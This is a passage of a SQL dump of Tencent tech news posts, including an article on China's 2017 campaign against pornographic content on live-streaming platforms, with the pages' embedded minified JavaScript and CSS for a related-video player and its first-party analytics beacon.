$.ajax({method:\"GET\",url:\"http://like.video.qq.com/fcgi-bin/like\",data:{msgtype:\"122\",uin:t,id:i,playright:\"2\",pidx:\"0\",size:\"11\",otype:\"json\",tablist:\"9\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errmsg||!t.tablist)return void e(null);var i=[];$.each(t.tablist[0].cover_info,function(t,e){i.push({vid:e.id,title:e.title,pic:e.picurl,url:e.playurl})}),e(i)}).fail(function(){e(null)})):void e(null)},f={on:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!0},off:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!1},isAnyonePlaying:function(){if(window.dc_playing_sign){for(var t in window.dc_playing_sign)if(t!==o.modName&&window.dc_playing_sign.hasOwnProperty(t)&&window.dc_playing_sign[t])return!0;return!1}return!1}},_={boss2619:function(t,i){var e=$.param({BossId:\"2619\",CheckSum:\"1312852225\",sIp:\"\",iQQ:a.get(\"o_cookie\")||\"\",sOp:t||\"\",sDomain:window.location.hostname||\"\",sUrl:window.location.href||\"\",sRef:window.document.referrer||\"\",vid:i||\"\",_dc:\"\"+Math.random()});(new Image).src=\"http://btrace.qq.com/kvcollect?\"+e}};i.exports={getScript:n,loadJquery:r,cookie:a,cutstr2:l,throttle:s,debounce:c,debug_log:d,getVideoListByCoverId:u,getLikeVideoList:p,playingGlobalSign:f,trace:_}},{\"./config\":2}],10:[function(t,i,e){var o=t(\"./tools\"),n=t(\"./config\"),n={};n.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1};var r={};r.$root=$(\".rv-js-root\"),r.$title=r.$root.find(\".rv-title a\"),r.$autoplay_sw=r.$root.find(\".rv-js-autoplay\"),r.$player_wrap=r.$root.find(\".rv-player-wrap\"),r.$player_mod=r.$player_wrap.find(\".rv-player-mod\"),r.$player_mini_ctrl=r.$player_wrap.find(\".rv-player-mini-ctrl\"),r.$playlist_node=r.$root.find(\".rv-playlist\"),r.$playlist_scol=r.$playlist_node.find(\".rv-playlist-scroller\"),r.$playlist_list=r.$playlist_node.find(\"ol.rv-playlist-list\"),r.$playlist_ctrl=r.$playlist_node.find(\".rv-playlist-ctrl a\"),r.$playlist_prev=r.$playlist_ctrl.filter(\".prev\"),r.$playlist_next=r.$playlist_ctrl.filter(\".next\");var a=function(){return{width:r.$player_mod.width(),height:r.$player_mod.height()}};e.setPlayerModId=function(t){r.$player_mod.attr(\"id\",t)},e.setTitle=function(t,i){return r.$title.html(t).attr(\"href\",i)};var l=function(){var t=\"enabled\",i=function(){r.$autoplay_sw.attr(\"bosszone\",function(){return o()?\"bofang_button_close\":\"bofang_button_open\"})},e=function(e){r.$autoplay_sw[e?\"addClass\":\"removeClass\"](t),i()},o=function(){return r.$autoplay_sw.hasClass(t)},n=function(e){var n=r.$autoplay_sw;n.on(\"click\",function(){n.toggleClass(t),\"function\"==typeof e&&e.call(null,o()),i()})};return{bind:n,setStatus:e,getStatus:o,updateBosszone:i}}();e.autoPlaySW=l;var s=function(){var t,i,e,n,a,l,s=function(){f(),r.$playlist_next.on(\"click\",function(){p(\"forward\")}),r.$playlist_prev.on(\"click\",function(){p(\"backward\")}),r.$playlist_scol.on(\"scroll\",o.throttle(function(){var i=r.$playlist_scol.scrollLeft(),e=\"disabled\";0===i||i===a||0>=a?(0===i&&r.$playlist_prev.addClass(e),(i===a||0>=a)&&r.$playlist_next.addClass(e)):r.$playlist_ctrl.removeClass(e),-1!==navigator.appVersion.indexOf(\"MSIE 7.\")&&t.css(\"visibility\",\"inherit\").css(\"visibility\",\"visible\")},50)),r.$playlist_scol.trigger(\"scroll\")},c=function(t){r.$playlist_scol.stop().animate({scrollLeft:parseInt(t,10)},500)},d=function(o){if(!(0>o||o>i-1)){var n=r.$playlist_scol;$item=t.filter(\":eq(\"+o+\")\"),c(n.scrollLeft()+$item.position().left-n.width()/2+e/2),l=o}},u=function(i){var e=\"current\";t.find(\"> a.\"+e).removeClass(e),t.filter(\":eq(\"+i+\")\").find(\"> a\").addClass(e)},p=function(t){var i,o=r.$playlist_scol,n=o.scrollLeft(),l=Math.round(.7*o.width());\"forward\"===t?i=n+l:\"backward\"===t&&(i=n-l),e>i?i=0:i>a-e&&(i=a),c(i)},f=function(){t=r.$playlist_list.find(\"> li\"),i=t.length,e=t.filter(\":eq(0)\").outerWidth(!0),n=r.$playlist_scol.width()/e,r.$playlist_list.css(\"width\",i*e),a=r.$playlist_list.outerWidth(!0)-r.$playlist_scol.width()};return{init:s,setCurrentToIdx:u,scrollToItemIdx:d,forward:function(){p(\"forward\")},backward:function(){p(\"backward\")},hide:function(){return r.$playlist_node.slideUp(300)},update:f}}();e.playlist=s;var c=function(){var t,i=!1,e=function(){var t={};t.top=r.$root.offset().top,t.btm=t.top+r.$root.height();var i={height:$(window).height(),scrollTop:$(window).scrollTop()},e=t.top>=i.scrollTop&&i.scrollTop+i.height>=t.top,o=t.btm>=i.scrollTop&&i.scrollTop+i.height>=t.btm,n=t.top<=i.scrollTop&&i.scrollTop+i.height<=t.btm;return!!(e||o||n)},l=function(){var t=$(\"#Main-Article-QQ\");if(t.length>0){var i=t.offset(),e=t.width();return 2*i.left+e===$(window).width()?e:!1}return!1},s=function(o){var n=i?!0:e();if(!(!0===t&&!0===n||!1===t&&!1===n)){if(r.$player_wrap.css(\"visibility\",\"hidden\").toggleClass(\"rv-player-mini\",!n),n)r.$player_wrap.css({\"margin-left\":\"\",left:\"\"}),o.unMute&&o.unMute(),u(o);else{if(window.ARTICLE_INFO&&1===window.ARTICLE_INFO.isUnique)r.$player_wrap.addClass(\"rv-player-mini-sp1\");else{var a=l();if(a){var s,d,p=r.$player_wrap.width(),_=($(window).width()-a)/2-10>=p;_?(s=0-a/2-r.$player_wrap.width()-10,d=\"50%\"):(s=0,d=0),r.$player_wrap.css({\"margin-left\":s,left:d})}}\"1\"!==f.get()&&(o.mute&&o.mute(),u(o))}c(o),r.$player_wrap.css(\"visibility\",\"visible\"),t=n}},c=function(t){var i=a().height;t.resize({height:i})},d=r.$player_mini_ctrl.find(\"a[data-action=mute]\"),u=function(t){t.isMuted&&(n.mute=!!t.isMuted(),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))},p=function(t){var e=function(){s(t)};$(window).scroll(e),$(window).resize(e),r.$player_mini_ctrl.on(\"click\",\"a[data-action=close]\",function(e){e.preventDefault(),i=!0,s.apply(this)(),t.pause()}),r.$player_mini_ctrl.on(\"click\",\"a[data-action=resize]\",function(i){i.preventDefault(),r.$player_wrap.toggleClass(\"rv-player-mini-big\"),c(t)}),u(t),d.click(function(){t.isMuted&&(t.isMuted()?(t.unMute(),f.on()):(t.mute(),f.off()),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))})},f={_configName:\"mini_unmute\",_config:null,_set:function(t){this._config=n[this._configName],o.cookie.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path})},get:function(){return this._config=n[this._configName],o.cookie.get(this._config.key)},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};return{detectVisible:e,init:p}}();e.scrollPlay=c,e.dom=r},{\"./config\":2,\"./tools\":9}]},{},[4]);</script><span>\n</span><span>\n\n</span><!-- /相关视频 --><span>\n\n\n\n\n\n\n\n\n</span><!--[if !IE]>|xGv00|d82f7a1238f1c1eaec2269b1b9ad1fc5<![endif]--><span>\n\n</span><p><strong>推广:更多精彩内容,请微信搜索关注公众号「腾讯科技」(ID:qqtech)。</strong></p><p align=\"center\"><img alt=\"联想十六亿再卖楼 经验来看:卖楼确实能提亮财报\" src=\"http://img1.gtimg.com/tech/pics/hv1/60/241/2186/142206165.jpg\"></p><span>\n</span></div>', '2017-03-03 02:04:13', '2017-03-03 02:04:13'); INSERT INTO `post` VALUES ('18', '全国“扫黄打非”办:今年将专项整治网络直播平台', 'http://img1.gtimg.com/tech/pics/hv1/113/152/2190/142443623.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><p align=\"center\"><img alt=\"全国“扫黄打非”办:今年将专项整治网络直播平台\" src=\"http://img1.gtimg.com/tech/pics/hv1/113/152/2190/142443623.jpg\"></p><p>据新华社北京3月2日电 今年以来,全国“扫黄打非”办公室集中力量开展了春节、“<!--keyword--><a class=\"a-tips-Article-QQ\" target=\"_blank\" href=\"http://news.qq.com/zt/2010/2010lianghui/\"><!--/keyword-->两会<!--keyword--></a><!--/keyword-->”期间出版物市场专项整治和“净网2017”等专项行动,对制售侵权盗版和淫秽色情出版物、利用新媒体新技术新应用传播淫秽色情信息等行为给予严厉打击,查办了一批涉黄涉非案件,清理了大量网上网下有害信息。</p><p>据全国“扫黄打非”办公室负责人介绍,2017年,全国“扫黄打非”办公室及小组各成员单位将全面深入开展“净网2017”“护苗2017”“秋风2017”等系列专项行动,把打击各类非法出版物及有害信息作为首要任务,全面净化出版物市场和网络文化生态,为党的十九大胜利召开营造良好的社会舆论氛围和文化环境。</p><p>2017年全国“扫黄打非”部门将针对网络直播平台、“两微一端”、弹窗广告及网络文学作品等存在淫秽色情信息突出问题,开展专项整治;持续清理宣扬淫秽色情、血腥暴力等有害内容的网络出版物及信息,抓好涉未成年人网络环境整治;严厉打击新闻敲诈和假新闻,持续打击假冒学术期刊网站,严厉惩治网站非法采编、网络非法转载新闻作品及电商平台销售非法出版物等行为。</p><p>全国“扫黄打非”办公室将进一步强化宣传教育引导,加大对网上传播淫秽色情等有害信息、制售非法有害少儿出版物、假媒体假记者站假记者等典型案件的曝光力度;大力督促网站平台、网络服务提供者全面履行企业主体责任;组织开展“绿书签2017”系列宣传活动,办好“绿书签”微信公众号,结合中小学生综合素质教育,创新活动载体和形式,引导青少年绿色阅读、文明上网。</p><p>同时,将严肃整治出版物市场特别是校园周边文化市场,要求各地对出版物集中销售场所和批发、零售单位及城市重点部位、校园周边中小学生经常光顾的经营场所反复检查,坚决查缴各类非法出版物;加大农村文化市场违规经营活动打击力度。开展印刷复制委托书制度落实情况专项检查,严惩违法违规印刷复制企业。专项整治物流、寄递企业承运非法出版物和不落实收寄验视等制度的行为。</p><p>此外,2017年,全国“扫黄打非”办公室还将夯实基层基础,全面推进“扫黄打非”进基层,并选取首批“扫黄打非”进基层全国示范点;广泛发动群众,采用群众喜闻乐见的方式开展“扫黄打非”宣传教育,及时报道专项行动进展和成果,大力宣传先进典型,进一步动员群众参与和支持“扫黄打非”工作。</p><p><strong>精彩视频推荐</strong></p><p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<!-- 相关视频 --> <!-- built at: Wed Jan 18 2017 16:25:45 GMT+0800 (中国标准时间) -->\n\n<script type=\"text/javascript\">\n var related_video_info = {\n vid: \'u0022qd2sl7\',\n cid: \'0uky2j575eso7pr\',\n url: \'http://v.qq.com/page/u/l/7/u0022qd2sl7.html\',\n pic: \'http://vpic.video.qq.com/20547853/u0022qd2sl7_ori_1.jpg\',\n title: \'八年后在中国能坐超级高铁?俞敏洪、盛希泰去帮你问了问\'\n };\n</script>\n\n\n<style type=\"text/css\">.rv-root-v2{font-family:\"\\5FAE\\8F6F\\96C5\\9ED1\",sans-serif;color:#000}.rv-root-v2 a{text-decoration:none;color:#000}.rv-root-v2 h1,.rv-root-v2 h2,.rv-root-v2 h3,.rv-root-v2 ol,.rv-root-v2 p,.rv-root-v2 ul{display:block;padding:0;margin:0}.rv-root-v2 img{border:0}.rv-root-v2 .rv-cf:after,.rv-root-v2 .rv-cf:before{content:\" \";display:table}.rv-root-v2 .rv-cf:after{clear:both}.rv-root-v2 .rv-cf{*zoom:1}.rv-root-v2 .rv-top{height:40px;line-height:40px;background-color:#f3f3f3}.rv-root-v2 .rv-top .rv-fold-btn{float:right;padding-left:20px;margin-right:16px;font-size:14px;background-image:url(http://mat1.gtimg.com/news/dc/images/fold.png);background-position:left center;background-repeat:no-repeat}.rv-root-v2 .rv-top .rv-autoplay{float:right;width:110px;margin-right:16px}.rv-root-v2 .rv-top .rv-autoplay span{font-size:14px;float:right}.rv-root-v2 .rv-top .rv-autoplay a{float:right;display:block;width:32px;height:18px;padding:2px;margin-top:10px;margin-left:12px;border-radius:10px;font-size:0;text-indent:-9999px;cursor:pointer;background-color:#CCC;transition:background .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a i{display:block;width:18px;height:18px;border-radius:50%;background-color:#fff;margin-left:0;box-shadow:1px 1px 3px rgba(0,0,0,.6);transition:all .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a:hover{background-color:#d9d9d9}.rv-root-v2 .rv-top .rv-autoplay a.enabled{background-color:#006cb7}.rv-root-v2 .rv-top .rv-autoplay a.enabled i{margin-left:14px}.rv-root-v2 .rv-top .rv-autoplay a.enabled:hover{background-color:#007bd1}.rv-root-v2 .rv-top .rv-autoplay a:active i{box-shadow:none}.rv-root-v2 .rv-top .rv-title{overflow:hidden}.rv-root-v2 .rv-top .rv-title a{display:block;font-size:18px;font-weight:400;text-indent:12px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;color:#000}.rv-root-v2 .rv-top .rv-title a:hover{color:#cd0000;text-decoration:underline}.rv-root-v2 .rv-middle .rv-player{position:relative;min-height:360px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap{position:absolute;width:100%;height:100%;top:0;left:0;background-color:#000;box-shadow:inset 0 0 20px rgba(0,0,0,.6)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod{position:relative;width:100%;height:100%}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .rv-player-loading{width:100%;height:100%;text-align:center;color:#999;font-family:verdana,arial,sans-serif}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .tvp_titles{display:none}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl{display:none;position:absolute;right:0;z-index:99;bottom:18px;width:30px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{display:block;margin-top:3px;width:30px;height:30px;line-height:30px;background-color:#000;background-color:rgba(0,0,0,.6);background-image:url(http://mat1.gtimg.com/news/dc/images/rv_mini_sprites_v2.png);background-repeat:no-repeat;text-align:center}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize:hover{color:#FFF;background-color:#000;background-color:rgba(0,0,0,.9)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-off{background-position:0 -150px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-on{background-position:0 -180px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close{background-position:0 0}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{background-position:0 -30px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini{position:fixed;width:270px;height:170px;left:0;bottom:0;top:auto;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.3)}.rv-root-v2 .rv-middle .rv-player .rv-player-mini .rv-player-mini-ctrl{display:block}@media only screen and (min-width:1300px){.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-sp1{left:50%;margin-left:-692px}}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big{width:640px;height:378px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big .rv-player-mini-ctrl-resize{background-position:0 -60px}.rv-root-v2 .rv-middle .rv-playlist{height:100px;background-color:#2f2f2f}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl{position:relative;width:100%;height:0;z-index:2}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a{display:block;position:absolute;top:0;width:17px;height:100px;line-height:100px;font-size:14px;font-weight:700;font-family:NanumMyeongjo,\"\\5B8B\\4F53\",sans-serif;text-align:center;color:#a3a3a3;background-color:#2f2f2f;background-color:rgba(47,47,47,.8);cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a:hover{background-color:#494949;background-color:rgba(73,73,73,.8)}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled{cursor:not-allowed;color:#505050}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled:hover{background-color:#2f2f2f;background-color:rgba(47,47,47,.8);box-shadow:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .prev{left:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .next{right:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap{height:100px;width:100%;overflow:hidden;position:relative;z-index:1}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller{height:130px;width:100%;overflow-y:hidden;overflow-x:scroll;-webkit-overflow-scrolling:touch}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list{width:9999px;padding:0 17px;list-style:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li{display:block;float:left}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a{display:block;position:relative;width:160px;height:90px;padding:5px;cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a img{width:100%;height:100%;opacity:0;transition:opacity .3s ease-out;vertical-align:top}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div{position:absolute;width:100%;left:0;bottom:0;font-size:12px;line-height:18px}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span{display:block;height:18px;margin:5px;padding:5px 10px 2px;overflow:hidden;font-family:Arial,sans-serif;color:#ababab;background-color:rgba(0,0,0,.8);-ms-filter:\"progid:DXImageTransform.Microsoft.gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\')\";filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\');-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span:not([dummy]){filter:progid:DXImageTransform.Microsoft.Gradient(enabled=\'false\')}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current{background:#101010}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current div span{color:#ff6d1a}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover{background:#252525}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover div span{height:36px}@media only screen and (min-width:1260px){.rv-adjust-wide-article{width:895px;margin-left:-97px}}#sports_video_mask{position:fixed;top:0;left:0;background:#000;opacity:.5;z-index:100;filter:alpha(opacity=50)}#sports_video_Vip{width:560px;height:320px;overflow:hidden;box-shadow:0 0 10px #fff;position:fixed;z-index:101;background:rgba(0,0,0,.8);filter:progid:DXImageTransform.Microsoft.gradient(startcolorstr=#CF000000, 0, endcolorstr=#CF000000, 0)}#sports_video_Vip #sports_video_Vip_close{position:absolute;padding:10px;top:0;right:0;color:#fff;cursor:pointer;font-size:16px}#sports_video_Vip .sports_video_code{position:absolute;width:114px;padding-top:124px;text-align:center;background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportVip2code.png) no-repeat;top:88px;right:40px}#sports_video_Vip .sports_video_content{color:#b6b6b6;width:320px;margin-left:50px;line-height:1.5;font-size:13px;top:48px;border-right:2px dashed #5d5d5d;position:relative}</style>\n</p><span>\n</span><script>!function t(i,e,o){function n(a,l){if(!e[a]){if(!i[a]){var s=\"function\"==typeof require&&require;if(!l&&s)return s(a,!0);if(r)return r(a,!0);throw new Error(\"Cannot find module \'\"+a+\"\'\")}var c=e[a]={exports:{}};i[a][0].call(c.exports,function(t){var e=i[a][1][t];return n(e?e:t)},c,c.exports,t,i,e,o)}return e[a].exports}for(var r=\"function\"==typeof require&&require,a=0;a<o.length;a++)n(o[a]);return n}({1:[function(t,i,e){function o(t){var i=!1,e=s.get();if(!0===r.playingGlobalSign.isAnyonePlaying()||\"0\"===e)return t(!1);if(\"1\"===e)return t(!0);if(l){var o=(new Date).getTime();l.get(n.autoplay_cookie.key,function(e,a){if(!i){if(i=!0,r.debug_log(\"get localstorage from http://www.qq.com/public/final12/localStorageqq.htm differTime\",(new Date).getTime()-o+\"ms\",a),!e&&a){var l=JSON.parse(a);if(\"1\"===l.val)return void t(!0);var s=(new Date).getTime()-l.time,c=s/864e5;return r.debug_log(\"set \"+c.toFixed(2)+\"days\"),c<n.autoplay_cookie.expires?void t(!1):void t(!0)}t(!0)}}),setTimeout(function(){i||(t(!0),i=!0,r.debug_log(\"timeout cross localstorage 400ms\"))},800)}else t(!0),r.debug_log(\"no cross and default true\")}var n=t(\"./config\"),r=t(\"./tools\"),a=r.cookie,l=t(\"./crossLocalStorage\"),s={_config:n.autoplay_cookie,_set:function(t){if(a.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path}),window.JSON){var i={time:(new Date).getTime(),val:t};l&&l.set(this._config.key,i,function(){})}},get:function(){var t=a.get(this._config.key);return t},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};i.exports={getAutoPlay:o,autoPlaySign:s}},{\"./config\":2,\"./crossLocalStorage\":3,\"./tools\":9}],2:[function(t,i,e){var o={};o.modName=\"dc_related_video\",o.autoplay_cookie={key:\"aboutVideo_v\",domain:\".qq.com\",path:\"/\",expires:30},o.playing_cookie={key:\"dc_vplaying\",domain:\".qq.com\",path:\"/\",expires:function(){return new Date((new Date).getTime()+72e5)}},o.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1},o.qqcomstore=null,o.videos=[],o.automute=!1,window.txPlayer_config=o,i.exports=o},{}],3:[function(t,i,e){document.domain=\"qq.com\";var o;o=function(t){this.id=this._getId(),this._init(t),this._origin=this._getOrigin(t),this._callbacks={_get:{},_set:{},_del:{}},this._bindEvent()},o.prototype._getId=function(){return id=0,function(){return++id}}(),o.prototype._init=function(t){var i=this,e=document.createElement(\"iframe\");e.style.display=\"none\",e.src=t,document.body.appendChild(e),this._hub=e.contentWindow,e.onload=function(){i.load()}},o.prototype.load=function(){},o.prototype._getOrigin=function(t){var i,e;return i=document.createElement(\"a\"),i.href=t,e=i.protocol+\"//\"+i.host},o.prototype._parseMessage=function(t,i,e){return JSON.stringify({method:t,key:i,value:e})},o.prototype._bindEvent=function(){var t=this;window.addEventListener?window.addEventListener(\"message\",function(i){var e=JSON.parse(i.data),o=e.error,n=e.result&&JSON.parse(e.result)||null;t._callbacks[\"_\"+e.method][e.key](o,n)},!1):\"\"},o.prototype.get=function(t,i){this._hub.postMessage(this._parseMessage(\"get\",t),this._origin),this._callbacks._get[t]=i},o.prototype.set=function(t,i,e){this._hub.postMessage(this._parseMessage(\"set\",t,i),this._origin),this._callbacks._set[t]=e},o.prototype.del=function(t,i){this._hub.postMessage(this._parseMessage(\"del\",t),this._origin),this._callbacks._del[t]=i};var n;n=window.addEventListener&&window.localStorage&&window.JSON?new o(\"http://www.qq.com/public/final12/localStorageqq.htm\"):null,i.exports=n},{}],4:[function(t,i,e){var o=t(\"./config\"),n=t(\"./tools\"),r=window.related_video_info,a=t(\"./inview\"),l=t(\"./autoPlay\");n.loadJquery(function(i){n.debug_log(\"jquery ready\"),a.init(function(){n.debug_log(\"video inview ready init\");var e=t(\"./ui\");i.getScript(\"http://vm.gtimg.cn/tencentvideo/txp/js/txplayer.js\").done(function(){function a(a){if(!s){s=1,e.autoPlaySW.setStatus(a),e.autoPlaySW.bind(function(t){l.autoPlaySign[t?\"on\":\"off\"](),t?d.play():-1===d.getPlayerState()?d.stop():d.pause()});var c=t(\"./play\"),d=c(r,a);d.on(\"ready\",function(){window.v_nomini||e.scrollPlay.init(d,o)}),d.on(\"playStateChange\",function(t){1==t.state&&i(window).trigger(\"video:pause\",o.modName),t.state>0?n.playingGlobalSign.on():n.playingGlobalSign.off()}),i(window).on(\"video:pause\",function(t,i){n.debug_log(\"\\u6682\\u505c\\u8bf7\\u6c42\\u6765\\u81ea\\uff1a \",i),i!==o.modName&&(-1===d.getPlayerState()?d.stop():d.pause())});var u=t(\"./getVideoList\");u(r,d);var p=t(\"./sportVip\");p.sportVip(d),d.on(\"showUIVipGuide\",function(t){n.debug_log(t),p.pop(d,\"1080p\")})}}n.debug_log(\"txplayer.js ready\",r);var s=0;try{l.getAutoPlay(a)}catch(c){n.debug_log(c),a(!0)}})})})},{\"./autoPlay\":1,\"./config\":2,\"./getVideoList\":5,\"./inview\":6,\"./play\":7,\"./sportVip\":8,\"./tools\":9,\"./ui\":10}],5:[function(t,i,e){function o(t,i){n=i;var e=function(i){d(t,i)};t.cid&&\"null\"!==t.cid?r.getVideoListByCoverId(t.cid,e):(r.debug_log(\"getLikeVideoList\",c.qq),r.getLikeVideoList(c.qq,t.vid,e))}var n,r=t(\"./tools\"),a=t(\"./ui\"),l=t(\"./play\"),s=t(\"./inview\"),c={qq:r.cookie.get(\"o_cookie\")||null},d=function(t,i){r.debug_log(\"videoList array\",i),i||a.playlist.hide();var e=[];e.push(t),$.each(i,function(i,o){o.vid!==t.vid&&e.push(o)});var o=\"\";$.each(e,function(t,i){i.title&&i.title.replace(/[^\\x00-\\xff]/gi,\"**\").length>40?i.stitle=r.cutstr2(i.title,40)+\"...\":i.stitle=i.title||\"\",o+=\"<li>\",o+=\" <a data-vid=\'\"+i.vid+\"\' data-idx=\'\"+t+\"\' href=\'\"+i.url+\"\' target=\'_self\' class=\'\"+(0===t?\"current\":\"\")+\"\' bosszone=\'rvideo_list_title\'>\",o+=\" <img src=\'\"+i.pic+\"\' onload=\'this.onload=null;this.style.opacity=1;\' />\",o+=\" <div>\",o+=\" <span>\"+i.stitle+\"</span>\",o+=\" </div>\",o+=\" </a>\",o+=\"</li>\"}),a.dom.$playlist_list.html(o),a.playlist.init();var c=function(t){if(t){var i,o;return $.each(e,function(e,n){return n.vid===t?(i=n,o=e,!1):void 0}),i&&(i.idx=o),i}},d=function(t){0>t||t>e.length-1||(l(e[t]),a.playlist.setCurrentToIdx(t),a.playlist.scrollToItemIdx(t))};a.dom.$playlist_list.on(\"click\",\"a[data-vid]\",function(t){t.preventDefault();var i=$(this).attr(\"data-vid\"),e=c(i);d(e.idx),r.trace.boss2619(\"user_click\",i)}),n.on(\"playStateChange\",function(t){if(0==t.state){var i=n.getVid(),o=c(i),a=o.idx+1,l=s.inview();r.debug_log(\"\\u64ad\\u653e\\u5668\\u662f\\u5426\\u53ef\\u89c1\",l),a<e.length&&l&&(r.debug_log(\"event: \\u64ad\\u653e\\u4e0b\\u4e00\\u4e2a\"),d(a),r.trace.boss2619(\"auto_next\",i))}})};i.exports=o},{\"./inview\":6,\"./play\":7,\"./tools\":9,\"./ui\":10}],6:[function(t,i,e){function o(){var t=$(window).scrollTop(),i=$(\".rv-root-v2\").offset().top,e=$(window).height();return t+e-70>=i&&i+518>t}var n=function(t){function i(){o()&&!e&&(t(),e=!0)}var e=!1;i(),$(window).scroll(function(t){i()})};i.exports={init:n,inview:o}},{}],7:[function(t,i,e){function o(t,i){var e=\"tvp-mod-player-\"+t.vid;if(r.setPlayerModId(e),r.setTitle(t.title,t.url),n)n.play({vid:t.vid});else{var t={useFlashVIPLayer:0,vid:t.vid,containerId:e,width:\"100%\",height:\"100%\",flashplayerUrl:\"http://imgcache.qq.com/tencentvideo_v1/playerv3/TencentPlayer.swf?max_age=86400&v=20161117\",autoplay:i};window.ARTICLE_INFO&&\"sports\"===window.ARTICLE_INFO.site&&(t.useFlashVIPLayer=-1,t.chid=8,t.authfrom=\"40001\",t.getUserType=function(){return window.login&&login.sportVip?10:window.login&&login.isLogin()?1:0},t.showOpenVIPGuide=function(){console.log(\"showOpenVIPGuide\"),\"function\"==typeof window.__tenplay_skipad&&window.__tenplay_skipad()}),n=new Txplayer(t)}return n}var n,r=t(\"./ui\");t(\"./config\");i.exports=o},{\"./config\":2,\"./ui\":10}],8:[function(t,i,e){function o(t){window.ARTICLE_INFO&&\"sports\"==window.ARTICLE_INFO.site&&(window.__tenplay_skipad=function(){return n(t,\"ad\"),1})}function n(t,i){var e=function(){var t=$(window).width(),i=$(window).height(),e=(t-560)/2,o=(i-320)/2;o=o>0?o:0,$(\"#sports_video_Vip\").css({left:e,top:o}),$(\"#sports_video_mask\").css({width:t,height:i})};if(0==$(\"#sports_video_Vip\").size()){var o=\"<div id=\'sports_video_mask\'></div>\",n=\"<div 